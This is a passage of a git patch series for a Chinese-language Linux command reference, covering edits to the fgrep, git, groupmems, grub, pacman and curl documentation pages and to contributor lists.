+9,13 @@ fgrep fgrep 命令于 grep 和 egrep 命令不同，因为它搜索字符串而不是搜索匹配表达式的模式。fgrep 命令使用快速的压缩算法。`$, *, [, |, (, )`和`\`等字符串被 fgrep 命令按字面意思解释。这些字符并不解释为正则表达式，但它们在 grep 和 egrep 命令中解释为正则表达式。因为这些字符对于 shell 有特定的含义，完整的字符串应该加上单引号`‘ ... ’`。. 如果没有指定文件， fgrep 命令假定标准输入。一般，找到的每行都复制到标准输出中去。如果不止一个输入文件，则在找到的每行前打印文件名。 -1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 -2. 每行限制在 2048 个字节。 -3. 段落（-p 标志下）目前限制在5000个字符的长度。 -4. 不要在特定的文件中运行 grep 命令，因为会产生不可预料的结果。 -5. 输入行不能包含空字符。 -6. 输入文件应该以换行字符结尾。 -7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 +1. fgrep 命令和带 -F 标志的 grep命令是一样的但出错和用法消息不同-s 标志功能也不同。 +2. 每行限制在 2048 个字节。 +3. 段落（-p 标志下）目前限制在5000个字符的长度。 +4. 不要在特定的文件中运行 grep 命令，因为会产生不可预料的结果。 +5. 输入行不能包含空字符。 +6. 输入文件应该以换行字符结尾。 +7. 虽然可以同时指定很多标志，但某些标志会覆盖其余的标志。例如，如果同时指定 -l 和 -n ，只有文件名写入到标准输出中去。 ### 语法 diff --git a/command/git.md b/command/git.md index 69d52a5db3e..9b811a9db58 100644 --- a/command/git.md +++ b/command/git.md @@ -27,17 +27,13 @@ Git迅速成为最流行的分布式版本控制系统，尤其是2008年，GitH [Git常用命令清单](https://github.com/jaywcjlove/handbook/blob/master/other/Git%E5%B8%B8%E7%94%A8%E5%91%BD%E4%BB%A4%E6%B8%85%E5%8D%95.md) -### 语法 +### 语法 ```shell -git [--version] [--help] [-C ] [-c name=value] - [--exec-path[=]] [--html-path] [--man-path] [--info-path] - [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] - [--git-dir=] [--work-tree=] [--namespace=] - [] +git [--version] [--help] [-C ] [-c name=value] [--exec-path[=]] [--html-path] [--man-path] [--info-path] [-p | --paginate | --no-pager] [--no-replace-objects] [--bare] [--git-dir=] [--work-tree=] [--namespace=] [] ``` -### 选项 +### 选项 ```shell add 将文件内容添加到索引 @@ -97,20 +93,20 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） clone -`git clone git://github.com/JSLite/JSLite.js.git ` +`git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 配置 @@ -128,7 +124,7 @@ git config --list # 查看配置的信息 ### 配置自动换行 -自动转换坑太大，提交到git是自动将换行符转换为lf +自动转换坑太大，提交到git是自动将换行符转换为lf ```shell git config --global core.autocrlf input @@ -155,8 +151,8 @@ ssh -T git@github.com # 测试是否成功 **2.密钥复制到托管平台上** -`vim ~/.ssh/jslite_rsa.pub` -打开公钥文件 `jslite_rsa.pub` ，并把内容复制至代码托管平台上 +`vim ~/.ssh/jslite_rsa.pub` +打开公钥文件 `jslite_rsa.pub` ，并把内容复制至代码托管平台上 **3.修改config文件** @@ -214,8 +210,8 @@ ssh-add -d ~/.ssh/jslite_rsa # 删除指定的key ### 免密码登录远程服务器 ```shell -$ ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key -$ ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 +ssh-keygen -t rsa -P '' -f ~/.ssh/aliyunserver.key +ssh-copy-id -i ~/.ssh/aliyunserver.key.pub root@192.168.182.112 # 这里需要输入密码一次 ``` 编辑 `~/.ssh/config` @@ -240,19 +236,19 @@ git clone https://github.com/username/rep.git ```shell [core] - repositoryformatversion = 0 - filemode = true - bare = false - logallrefupdates = true - ignorecase = true - precomposeunicode = true + repositoryformatversion = 0 + filemode = true + bare = false + logallrefupdates = true + ignorecase = true + precomposeunicode = true [remote "origin"] -- url = https://github.com/username/rep.git -+ url = https://用户名:密码@github.com/username/rep.git - fetch = +refs/heads/*:refs/remotes/origin/* +- url = https://github.com/username/rep.git ++ url = https://用户名:密码@github.com/username/rep.git + fetch = +refs/heads/*:refs/remotes/origin/* [branch "master"] - remote = origin - merge = refs/heads/master + remote = origin + merge = refs/heads/master ``` ### 文件推向3个git库 @@ -310,8 +306,7 @@ $ git fetch -p **5.更改pull** -只需要更改config文件里，那三个url的顺序即可，fetch-url会直接对应排行第一的那个utl连接。 - +只需要更改config文件里，那三个url的顺序即可，fetch-url会直接对应排行第一的那个utl连接。 ### 修改远程仓库地址 @@ -375,7 +370,6 @@ git revert HEAD~1 # 撤销一条记录 会弹出 commit 编辑 git push # 提交回滚 ``` - ### 回退到某一个版本 ```shell @@ -469,8 +463,6 @@ git rebase --continue git push -f origin master ``` - - ### 添加忽略文件 ```shell @@ -540,7 +532,6 @@ git merge upstream/master # create mode 100644 README.md ``` - ### 批量修改历史commit中的名字和邮箱 **1.克隆仓库** @@ -608,7 +599,6 @@ git pull --allow-unrelated-histories git pull origin master --allow-unrelated-histories ``` - ### 查看某个文件历史 ```shell @@ -674,20 +664,20 @@ git push -f origin master # 强制推送文件，缩写 -f（全写--force） ## clone -`git clone git://github.com/JSLite/JSLite.js.git ` +`git clone git://github.com/JSLite/JSLite.js.git` `git clone git://github.com/JSLite/JSLite.js.git mypro` #克隆到自定义文件夹 `git clone [user@]example.com:path/to/repo.git/` #SSH协议还有另一种写法。 git clone支持多种协议，除了HTTP(s)以外，还支持SSH、Git、本地文件协议等，下面是一些例子。`git clone <版本库的网址> <本地目录名>` ```shell -$ git clone http[s]://example.com/path/to/repo.git/ -$ git clone ssh://example.com/path/to/repo.git/ -$ git clone git://example.com/path/to/repo.git/ -$ git clone /opt/git/project.git -$ git clone file:///opt/git/project.git -$ git clone ftp[s]://example.com/path/to/repo.git/ -$ git clone rsync://example.com/path/to/repo.git/ +git clone http[s]://example.com/path/to/repo.git/ +git clone ssh://example.com/path/to/repo.git/ +git clone git://example.com/path/to/repo.git/ +git clone /opt/git/project.git +git clone file:///opt/git/project.git +git clone ftp[s]://example.com/path/to/repo.git/ +git clone rsync://example.com/path/to/repo.git/ ``` ## 本地 @@ -1032,7 +1022,6 @@ git help * # 获取命令的帮助信息 git status # 获取当前的状态，非常有用，因为git会提示接下来的能做的操作 ``` - ## 报错问题解决 **1. `git fatal: protocol error: bad line length character: No s`** @@ -1082,7 +1071,7 @@ git config --global core.quotepath false - [图解Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html) - [git-简明指南](http://rogerdudler.github.io/git-guide/index.zh.html) - [learnGitBranching 在线学习工具](http://pcottle.github.io/learnGitBranching/) -- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) +- [初级教程](http://rogerdudler.github.io/git-guide/index.zh.html) - [廖雪峰的Git教程](http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000) - [蒋鑫老师将带你入github的大门](http://www.worldhello.net/gotgithub/) - [git详解](http://www.open-open.com/lib/view/open1328069609436.html) @@ -1092,5 +1081,3 @@ git config --global core.quotepath false - [Git 本地仓库和裸仓库](https://gold.xitu.io/post/5842f9b861ff4b005889ade6) - [沉浸式学 Git](http://www.kancloud.cn/kancloud/igit/46710) - [Git进阶用法，主要是rebase高级用法](http://way.oschina.io/2016/12/15/notes/GitAdvance/?utm_source=gank.io&utm_medium=email) - - diff --git a/command/groupmems.md b/command/groupmems.md index 49853af1e95..16acdb99820 100644 --- a/command/groupmems.md +++ b/command/groupmems.md @@ -9,13 +9,13 @@ groupmems 只有作为管理员的超级用户可以使用 `groupmems` 来更改其他组的成员资格。 -### 语法 +### 语法 ```shell groupmems -a user_name | -d 用户名 | [-g 用户组名] | -l | -p ``` -### 选项 +### 选项 ```bash -a, --add user_name # 将用户添加到组成员列表。如果 /etc/gshadow 文件存在，并且该组在 /etc/gshadow 文件中没有条目，则将创建一个新条目。 @@ -54,58 +54,58 @@ MAX_MEMBERS_PER_GROUP (number) groupmems 可执行文件应该在模式 2770 中作为用户 root 和组组。 系统管理员可以将用户添加到组中，以允许或禁止他们使用 groupmems 实用程序来管理他们自己的组成员列表。 ```shell -$ groupadd -r groups -$ chmod 2770 groupmems +groupadd -r groups +chmod 2770 groupmems -$ chown root.groups groupmems -$ groupmems -g groups -a gk4 +chown root.groups groupmems +groupmems -g groups -a gk4 ``` 让我们创建一个新用户和一个新组并验证结果： ```shell -$ useradd student -$ passwd student -$ groupadd staff +useradd student +passwd student +groupadd staff ``` 使用户 student 成为组人员的成员： ```shell -$ groupmems -g staff -a student -$ groupmems -g staff -l +groupmems -g staff -a student +groupmems -g staff -l ``` 将用户添加到组： ```shell -$ groupmems -a mike -g SUPPORT -$ groupmems --add mike -g SUPPORT +groupmems -a mike -g SUPPORT +groupmems --add mike -g SUPPORT ``` 从组中删除/移除用户： ```shell -$ groupmems -d mike SUPPORT -g SUPPORT -$ groupmems --delete mike SUPPORT -g SUPPORT +groupmems -d mike SUPPORT -g SUPPORT +groupmems --delete mike SUPPORT -g SUPPORT ``` 更改组名称： ```shell -$ groupmems -g SUPPORT +groupmems -g SUPPORT ``` 从组中删除用户： ```shell -$ groupmems -p -g SUPPORT -$ groupmems --purge -g SUPPORT +groupmems -p -g SUPPORT +groupmems --purge -g SUPPORT ``` 要列出组的成员： ```shell -$ groupmems -l -g SUPPORT -$ groupmems --list -g SUPPORT -``` \ No newline at end of file +groupmems -l -g SUPPORT +groupmems --list -g SUPPORT +``` diff --git a/command/grub.md b/command/grub.md index 7d2bbf52277..9de9c456598 100644 --- a/command/grub.md +++ b/command/grub.md @@ -69,3 +69,6 @@ boot 这里的关键问题是如何确定系统的几个分区：`/boot` `/` `/sbin` +### 参考资料 + +- 自由软件基金会 - grub 文档 diff --git a/command/grub2-mkconfig.md b/command/grub2-mkconfig.md index 97d53f2acb5..80c9dd3c2f9 100644 --- a/command/grub2-mkconfig.md +++ b/command/grub2-mkconfig.md @@ -6,14 +6,14 @@ grub2-mkconfig ## 语法 ```shell -Usage: grub2-mkconfig [OPTION] -Generate a grub config file +用法: grub2-mkconfig [OPTION] +生成 grub 配置文件 - -o, --output=FILE output generated config to FILE [default=stdout] - -h, --help print this message and exit - -v, --version print the version information and exit + -o, --output=FILE 将生成的配置输出到 FILE 文件 [default=stdout] + -h, --help 打印这个文件并退出 + -v, --version 打印版本信息并退出 -Report bugs to . +报告 Bug 通过 . ``` diff --git a/command/pacman.md b/command/pacman.md new file mode 100644 index 00000000000..9330c6c1d0e --- /dev/null +++ b/command/pacman.md @@ -0,0 +1,50 @@ +pacman +=== + +Arch Linux 系统极其衍生系统中默认使用的包管理器 + +## 安装 + +在安装 Arch Linux 时，会需要安装 base 包组，其中包括 pacman 包，具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97) + +## 实例 + +### 安装软件包 + +```bash +pacman -S p7zip +``` + +也可以安装一个软件包组 + +```bash +pacman -S gnome +``` + +### 列出所有软件包 + +```bash +pacman -Q +``` + +### 删除某个软件包 + +```bash +pacman -R p7zip +``` + +或者是同时删除他的依赖 + +```bash +pacman -Rsc p7zip +``` + +### 开始滚动更新 + +```bash +pacman -Syyu +``` + +## 参考资料 + +- Archlinux 中文维基 From a43c9b4d98462e138a053a9a599b9054cd07e3ff Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Apr 2023 14:15:40 +0000 Subject: [PATCH 145/570] doc: update README.md. --- README.md | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index fb583d94d0a..0cfcce49253 100644 --- a/README.md +++ b/README.md @@ -592,8 +592,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - deny + + Deny dongpohezui @@ -622,6 +622,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 huangyao + + jqz3.tech + juemuren4449 @@ -664,8 +667,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - sunix + + sunls24 tangke @@ -700,6 +703,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 七朔 + + 丛林意志 + 孤城落寞 @@ -739,8 +745,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 远方 - - catAndZ + + catandz 黑&蛋 From 5eed550c2fa5f8a9fb81f089bb526062ec58f95b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 24 Apr 2023 14:15:41 +0000 Subject: [PATCH 146/570] doc: update template/contributors.ejs. --- template/contributors.ejs | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index bdc61bd61a3..61c1e260c93 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -240,8 +240,8 @@ dayday - - deny + + Deny dongpohezui @@ -270,6 +270,9 @@ huangyao + + jqz3.tech + juemuren4449 @@ -312,8 +315,8 @@ snovey - - sunix + + sunls24 tangke @@ -348,6 +351,9 @@ 七朔 + + 丛林意志 + 孤城落寞 @@ -387,8 +393,8 @@ 远方 - - catAndZ + + catandz 黑&蛋 From 9c38fcf5834c2c6c208ef44c9b9df5530dce1669 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=B8=9B=E6=9E=97=E6=84=8F=E5=BF=97?= Date: Tue, 25 Apr 2023 00:27:10 +0800 Subject: [PATCH 147/570] =?UTF-8?q?fix(curl,time):=20=E6=A0=BC=E5=BC=8F?= =?UTF-8?q?=E5=8C=96=E5=86=85=E5=AE=B9=EF=BC=8C=E5=B9=B6=E5=8F=82=E8=80=83?= =?UTF-8?q?=20#359=20#352=20=E4=BF=AE=E6=94=B9=E6=96=87=E6=A1=A3=20(#488)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- command/curl.md | 353 +++++++++++++++++++++++++----------------------- command/time.md | 74 ++++++++-- 2 files changed, 249 insertions(+), 178 deletions(-) diff --git a/command/curl.md b/command/curl.md index 10ae30983d1..81c8cb38fef 100644 --- a/command/curl.md +++ b/command/curl.md @@ -16,109 +16,109 @@ curl(选项)(参数) ### 选项 ```bash --a/--append # 上传文件时，附加到目标文件 --A/--user-agent # 设置用户代理发送给服务器 --anyauth # 可以使用“任何”身份验证方法 --b/--cookie # cookie字符串或文件读取位置 -     --basic # 使用HTTP基本验证 --B/--use-ascii # 使用ASCII /文本传输 --c/--cookie-jar # 操作结束后把cookie写入到这个文件中 --C/--continue-at # 断点续传 --d/--data # HTTP POST方式传送数据 -     --data-ascii # 以ascii的方式post数据 -     --data-binary # 以二进制的方式post数据 -     --negotiate # 使用HTTP身份验证 -     --digest # 使用数字身份验证 -     --disable-eprt # 禁止使用EPRT或LPRT -     --disable-epsv # 禁止使用EPSV --D/--dump-header # 把header信息写入到该文件中 -     --egd-file # 为随机数据(SSL)设置EGD socket路径 -     --tcp-nodelay # 使用TCP\_NODELAY选项 --e/--referer # 来源网址 --E/--cert # 客户端证书文件和密码 (SSL) -     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) -     --key # 私钥文件名 (SSL) -     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) -     --pass # 私钥密码 (SSL) -     --engine # 加密引擎使用 (SSL). "--engine list" for list -     --cacert # CA证书 (SSL) -     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) -     --ciphers # SSL密码 -     --compressed # 要求返回是压缩的形势 (using deflate or gzip) -     --connect-timeout # 设置最大请求时间 -     --create-dirs # 建立本地目录的目录层次结构 -     --crlf # 上传是把LF转变成CRLF --f/--fail # 连接失败时不显示http错误 -     --ftp-create-dirs # 如果远程目录不存在，创建远程目录 -     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 -     --ftp-pasv # 使用 PASV/EPSV 代替端口 -     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 -     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 -     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 --F/--form # 模拟http表单提交数据 -     --form-string # 模拟http表单提交数据 --g/--globoff # 禁用网址序列和范围使用{}和\[] --G/--get # 以get的方式来发送数据 --H/--header # 自定义头信息传递给服务器 -     --ignore-content-length # 忽略的HTTP头信息的长度 --i/--include # 输出时包括protocol头信息 --I/--head # 只显示请求头信息 --j/--junk-session-cookies # 读取文件进忽略session cookie -     --interface # 使用指定网络接口/地址 -     --krb4 # 使用指定安全级别的krb4 --k/--insecure # 允许不使用证书到SSL站点 --K/--config # 指定的配置文件读取 --l/--list-only # 列出ftp目录下的文件名称 -     --limit-rate # 设置传输速度 -     --local-port # 强制使用本地端口号 --m/--max-time # 设置最大传输时间 -     --max-redirs # 设置最大读取的目录数 -     --max-filesize # 设置最大下载的文件总量 --M/--manual # 显示全手动 --n/--netrc # 从netrc文件中读取用户名和密码 -     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n -     --ntlm # 使用 HTTP NTLM 身份验证 --N/--no-buffer # 禁用缓冲输出 --o/--output # 把输出写到该文件中 --O/--remote-name # 把输出写到该文件中，保留远程文件的文件名 --p/--proxytunnel # 使用HTTP代理 -     --proxy-anyauth # 选择任一代理身份验证方法 -     --proxy-basic # 在代理上使用基本身份验证 -     --proxy-digest # 在代理上使用数字身份验证 -     --proxy-ntlm # 在代理上使用ntlm身份验证 --P/--ftp-port # 使用端口地址，而不是使用PASV --q # 作为第一个参数，关闭 .curlrc --Q/--quote # 文件传输前，发送命令到服务器 --r/--range # 检索来自HTTP/1.1或FTP服务器字节范围 ---range-file # 读取（SSL）的随机文件 --R/--remote-time # 在本地生成文件时，保留远程文件时间 -     --retry # 传输出现问题时，重试的次数 -     --retry-delay # 传输出现问题时，设置重试间隔时间 -     --retry-max-time # 传输出现问题时，设置最大重试时间 --s/--silent # 静默模式。不输出任何东西 --S/--show-error # 显示错误 -     --socks4 # 用socks4代理给定主机和端口 -     --socks5 # 用socks5代理给定主机和端口 -     --stderr #   --t/--telnet-option # Telnet选项设置 -     --trace # 对指定文件进行debug -     --trace-ascii # Like --跟踪但没有hex输出 -     --trace-time # 跟踪/详细输出时，添加时间戳 --T/--upload-file # 上传文件 -     --url # Spet URL to work with --u/--user # 设置服务器的用户和密码 --U/--proxy-user # 设置代理用户名和密码 --w/--write-out \[format] # 什么输出完成后 --x/--proxy # 在给定的端口上使用HTTP代理 --X/--request # 指定什么命令 --y/--speed-time # 放弃限速所要的时间，默认为30 --Y/--speed-limit # 停止传输速度的限制，速度时间 +-a --append # 上传文件时，附加到目标文件 +-A --user-agent # 设置用户代理发送给服务器 +-anyauth # 可以使用“任何”身份验证方法 +-b --cookie # cookie字符串或文件读取位置 +     --basic # 使用HTTP基本验证 +-B --use-ascii # 使用ASCII /文本传输 +-c --cookie-jar # 操作结束后把cookie写入到这个文件中 +-C --continue-at # 断点续传 +-d --data # HTTP POST方式传送数据 +     --data-ascii # 以ascii的方式post数据 +     --data-binary # 以二进制的方式post数据 +     --negotiate # 使用HTTP身份验证 +     --digest # 使用数字身份验证 +     --disable-eprt # 禁止使用EPRT或LPRT +     --disable-epsv # 禁止使用EPSV +-D --dump-header # 把header信息写入到该文件中 +     --egd-file # 为随机数据(SSL)设置EGD socket路径 +     --tcp-nodelay # 使用TCP\_NODELAY选项 +-e --referer # 来源网址 +-E --cert # 客户端证书文件和密码 (SSL) +     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) +     --key # 私钥文件名 (SSL) +     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) +     --pass # 私钥密码 (SSL) +     --engine # 加密引擎使用 (SSL). "--engine list" for list +     --cacert # CA证书 (SSL) +     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) +     --ciphers # SSL密码 +     --compressed # 要求返回是压缩的形势 (using deflate or gzip) +     --connect-timeout # 设置最大请求时间 +     --create-dirs # 建立本地目录的目录层次结构 +     --crlf # 上传是把LF转变成CRLF +-f --fail # 连接失败时不显示http错误 +     --ftp-create-dirs # 如果远程目录不存在，创建远程目录 +     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 +     --ftp-pasv # 使用 PASV/EPSV 代替端口 +     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 +     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 +     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 +-F --form # 模拟http表单提交数据 +     --form-string # 模拟http表单提交数据 +-g --globoff # 禁用网址序列和范围使用{}和\[] +-G --get # 以get的方式来发送数据 +-H --header # 自定义头信息传递给服务器 +     --ignore-content-length # 忽略的HTTP头信息的长度 +-i --include # 输出时包括protocol头信息 +-I --head # 只显示请求头信息 +-j --junk-session-cookies # 读取文件进忽略session cookie +     --interface # 使用指定网络接口/地址 +     --krb4 # 使用指定安全级别的krb4 +-k --insecure # 允许不使用证书到SSL站点 +-K --config # 指定的配置文件读取 +-l --list-only # 列出ftp目录下的文件名称 +     --limit-rate # 设置传输速度 +     --local-port # 强制使用本地端口号 +-m --max-time # 设置最大传输时间 +     --max-redirs # 设置最大读取的目录数 +     --max-filesize # 设置最大下载的文件总量 +-M --manual # 显示全手动 +-n --netrc # 从netrc文件中读取用户名和密码 +     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n +     --ntlm # 使用 HTTP NTLM 身份验证 +-N --no-buffer # 禁用缓冲输出 +-o --output # 把输出写到该文件中 +-O --remote-name # 把输出写到该文件中，保留远程文件的文件名 +-p --proxytunnel # 使用HTTP代理 +     --proxy-anyauth # 选择任一代理身份验证方法 +     --proxy-basic # 在代理上使用基本身份验证 +     --proxy-digest # 在代理上使用数字身份验证 +     --proxy-ntlm # 在代理上使用ntlm身份验证 +-P --ftp-port # 使用端口地址，而不是使用PASV +-q # 作为第一个参数，关闭 .curlrc +-Q --quote # 文件传输前，发送命令到服务器 +-r --range # 检索来自HTTP/1.1或FTP服务器字节范围 +--range-file # 读取（SSL）的随机文件 +-R --remote-time # 在本地生成文件时，保留远程文件时间 +     --retry # 传输出现问题时，重试的次数 +     --retry-delay # 传输出现问题时，设置重试间隔时间 +     --retry-max-time # 传输出现问题时，设置最大重试时间 +-s --silent # 静默模式。不输出任何东西 +-S --show-error # 显示错误 +     --socks4 # 用socks4代理给定主机和端口 +     --socks5 # 用socks5代理给定主机和端口 +     --stderr #   +-t --telnet-option # Telnet选项设置 +     --trace # 对指定文件进行debug +     --trace-ascii # Like --跟踪但没有hex输出 +     --trace-time # 跟踪/详细输出时，添加时间戳 +-T --upload-file # 上传文件 +     --url # 要使用的 URL +-u --user # 设置服务器的用户和密码 +-U --proxy-user # 设置代理用户名和密码 +-w --write-out \[format] # 什么输出完成后 +-x --proxy # 在给定的端口上使用HTTP代理 +-X --request # 指定什么命令 +-y --speed-time # 放弃限速所要的时间，默认为30 +-Y --speed-limit # 停止传输速度的限制，速度时间 ``` ### 实例 -**文件下载** +#### **文件下载** curl命令可以用来执行下载、发送各种HTTP请求，指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装，也可以下载安装。curl是将下载文件输出到stdout，将进度信息输出到stderr，不显示进度信息使用`--silent`选项。 @@ -141,7 +141,7 @@ curl http://example.com/test.iso -o filename.iso --progress ######################################### 100.0% ``` -**不输出错误和进度信息** +#### **不输出错误和进度信息** `-s` 参数将不输出错误和进度信息。 @@ -153,9 +153,10 @@ curl -s https://www.example.com 如果想让 curl 不产生任何输出，可以使用下面的命令。 ```shell -curl -s -o /dev/null https://google.com +curl -s -o /dev/null https://example.com ``` -**断点续传** + +#### **断点续传** curl能够从特定的文件偏移处继续下载，它可以通过指定一个便宜量来下载部分文件： @@ -166,19 +167,19 @@ curl URL/File -C 偏移量 curl -C -URL ``` -**使用curl设置参照页字符串** +#### **使用curl设置参照页字符串** 参照页是位于HTTP头部中的一个字符串，用来表示用户是从哪个页面到达当前页面的，如果用户点击网页A中的某个连接，那么用户就会跳转到B网页，网页B头部的参照页字符串就包含网页A的URL。 -使用`--referer`选项指定参照页字符串： +使用 `--referer` 选项指定参照页字符串： ```shell -curl --referer http://www.google.com http://wangchujiang.com +curl --referer http://www.example.com http://example.com ``` -**用curl设置用户代理字符串** +#### **用curl设置用户代理字符串** -有些网站访问会提示只能使用IE浏览器来访问，这是因为这些网站设置了检查用户代理，可以使用curl把用户代理设置为IE，这样就可以访问了。使用`--user-agent`或者`-A`选项： +有些网站访问会提示只能使用IE浏览器来访问，这是因为这些网站设置了检查用户代理，可以使用curl把用户代理设置为IE，这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项： ```shell curl URL --user-agent "Mozilla/5.0" @@ -188,10 +189,10 @@ curl URL -A "Mozilla/5.0" 其他HTTP头部信息也可以使用curl来发送，使用`-H`"头部信息" 传递多个头部信息，例如： ```shell -curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL +curl -H "Host:example.com" -H "accept-language:zh-cn" URL ``` -**curl的带宽控制和下载配额** +#### **curl的带宽控制和下载配额** 使用`--limit-rate`限制curl的下载速度： @@ -214,76 +215,81 @@ curl --limit-rate 200k https://example.com # 上面命令将带宽限制在每秒 200K 字节。 ``` -**用curl进行认证** +#### **用curl进行认证** 使用curl选项 -u 可以完成HTTP或者FTP的认证，可以指定密码，也可以不指定密码在后续操作中输入密码： ```shell -curl -u user:pwd http://wangchujiang.com -curl -u user http://wangchujiang.com +curl -u user:pwd http://example.com +curl -u user http://example.com ``` -**只打印响应头部信息** +#### **只打印响应头部信息** 通过`-I`或者`-head`可以只打印出HTTP头部信息： ```shell -[root@localhost text]# curl -I http://wangchujiang.com +[root@localhost text]# curl -I http://example.com HTTP/1.1 200 OK -Server: nginx/1.2.5 -date: Mon, 10 Dec 2012 09:24:34 GMT +Content-Encoding: gzip +Accept-Ranges: bytes +Age: 275552 +Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 -Connection: keep-alive -Vary: Accept-Encoding -X-Pingback: http://wangchujiang.com/xmlrpc.php +Date: Mon, 24 Apr 2023 14:39:36 GMT +Etag: "3147526947+gzip" +Expires: Mon, 01 May 2023 14:39:36 GMT +Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT +Server: ECS (sec/96EE) +X-Cache: HIT +Content-Length: 648 ``` -**get请求** +#### **GET 请求** ```shell -curl "http://www.wangchujiang.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 -curl -i "http://www.wangchujiang.com" # 显示全部信息 -curl -l "http://www.wangchujiang.com" # 显示页面内容 -curl -v "http://www.wangchujiang.com" # 显示get请求全过程解析 +curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 +curl -i "http://www.example.com" # 显示全部信息 +curl -l "http://www.example.com" # 显示页面内容 +curl -v "http://www.example.com" # 显示get请求全过程解析 ``` -**post请求** +#### **POST 请求** ```shell -$ curl -d "param1=value1¶m2=value2" "http://www.wangchujiang.com/login" +$ curl -d "param1=value1¶m2=value2" "http://www.example.com/login" -curl -d'login=emma＆password=123' -X POST https://wangchujiang.com/login +$ curl -d'login=emma＆password=123' -X POST https://example.com/login # 或者 -$ curl -d 'login=emma' -d 'password=123' -X POST https://wangchujiang.com/login +$ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login ``` - `--data-urlencode` 参数等同于 `-d`，发送 `POST` 请求的数据体，区别在于会自动将发送的数据进行 `URL` 编码。 ```shell -curl --data-urlencode 'comment=hello world' https://wangchujiang.com/login +curl --data-urlencode 'comment=hello world' https://example.com/login # 上面代码中，发送的数据hello world之间有一个空格，需要进行 URL 编码。 ``` -**读取本地文本文件的数据，向服务器发送** +#### **发送本地文件中的文字** ```shell -curl -d '@data.txt' https://wangchujiang.com/upload +curl -d '@data.txt' https://example.com/upload # 读取data.txt文件的内容，作为数据体向服务器发送。 ``` -**json格式的post请求** +#### **JSON 格式的 POST 请求** ```shell -curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13521389587","password":"test"}' http://wangchujiang.com/apis/users.json +curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json ``` -**向服务器发送 Cookie** +#### **向服务器发送 Cookie** 使用`--cookie "COKKIES"`选项来指定cookie，多个cookie使用分号分隔： ```shell -curl http://wangchujiang.com --cookie "user=root;pass=123456" +curl http://example.com --cookie "user=root;pass=123456" ``` 将cookie另存为一个文件，使用`--cookie-jar`选项： @@ -292,95 +298,94 @@ curl http://wangchujiang.com --cookie "user=root;pass=123456" curl URL --cookie-jar cookie_file ``` - `-b` 参数用来向服务器发送 Cookie。 ```shell -curl -b 